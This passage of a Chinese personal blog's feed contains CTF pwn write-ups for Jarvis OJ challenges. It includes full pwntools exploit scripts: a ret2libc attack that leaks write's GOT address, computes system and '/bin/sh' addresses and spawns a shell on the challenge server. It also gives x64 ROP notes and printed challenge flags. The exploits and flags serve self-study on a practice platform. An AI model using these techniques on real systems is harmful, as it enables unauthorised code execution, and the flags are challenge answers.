&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    log&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;info&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;sent: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    override_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; override_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;exit&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;printf
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;printf&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>动态链接</title>
    <published>2018-11-03T16:28:28+08:00</published>
    <updated>2018-11-03T16:28:28+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/动态链接/" type="text/html" />
    <id>https://emptystack.top/动态链接/</id>
    <content type="html">
      &lt;h2 id=&quot;level3&quot;&gt;level3&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;CTF{d85346df5770f56f69025bc3f5f1d3d0}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;（&lt;&#x2F;span&gt;看了看学长的脚本，有啥东西就写在注释里了）&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# -*- coding: utf-8 -*-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# from ctypes import string_at&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# from sys import getsizeof&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# from binascii import hexlify&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;level3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# io = process(&amp;quot;.&#x2F;level3&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; remote&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;pwn2.jarvisoj.com&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;9879&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;vul_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;vulnerable_function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# write_addr_plt = elf.plt[&amp;quot;write&amp;quot;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# print(write_addr == write_addr_plt) # true&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;write_addr_got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;#           junk       ebp      要执行的函数的地址   执行后返回的地址  参数1     参数2                  参数3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;88&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;beef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;write_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;vul_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;write_addr_got&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# print(io.recv(4))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;write_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 得到真实地址&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# print(write_addr_real)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;libc-2.19.so&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;write_libc_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys_libc_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;symbols&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;system&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# 传字符串时是传的字符串地址，所以也要搜到libc里字符串的偏移量才行&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;binsh_libc_offset&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; next&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;search&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # search返回的是个迭代器，要用next()才能访问到偏移量&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; write_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span&gt; write_libc_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sys_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; sys_libc_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;binsh_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; libc_base&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; binsh_libc_offset&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;recvline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;sendline&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;*0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;88&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;jjjj&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;sys_addr_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;jjjj&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; p32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;binsh_libc_real&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;interactive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# print(hexlify(string_at(write_addr_got, getsizeof(p32(write_addr_got))))) # python可以读取内存内容，但读取别的程序占用的内存会引发段错误&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# 而且这玩意读的应该还是本地相应地址的内容，根本不是人服务器上的，我好像过于异想天开了。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;level3x64&quot;&gt;level3x64&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;CTF{b1aeaa97fdcc4122533290b73765e4fd}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;就算是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;64&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位的，最终目的还是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;system(bin&#x2F;sh)&lt;&#x2F;p&gt;
&lt;p&gt;64&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位区别：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;System V AMD64
ABI（Linux、FreeBSD、macOS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等采用）中前六个整型或指针参数依次保存在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RDI，RSI，RDX，RCX，R8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;R9&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;寄存器中，如果还有更多的参数的话才会保存在栈上&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，以及覆盖一个地址要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;个字母了。&lt;&#x2F;p&gt;
&lt;p&gt;要给寄存器传参的话，先写一句&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;pop rxx; ret
地址，下面接着要写进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;rxx&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的数值。&lt;&#x2F;p&gt;
&lt;p&gt;还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;payload&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;顺序也不一样，先改好寄存器的值，再写要调用的函数、调用完返回的地址。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;# -*- coding: utf-8 -*-&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; pwn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;elf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ELF&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.&#x2F;level3_x64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
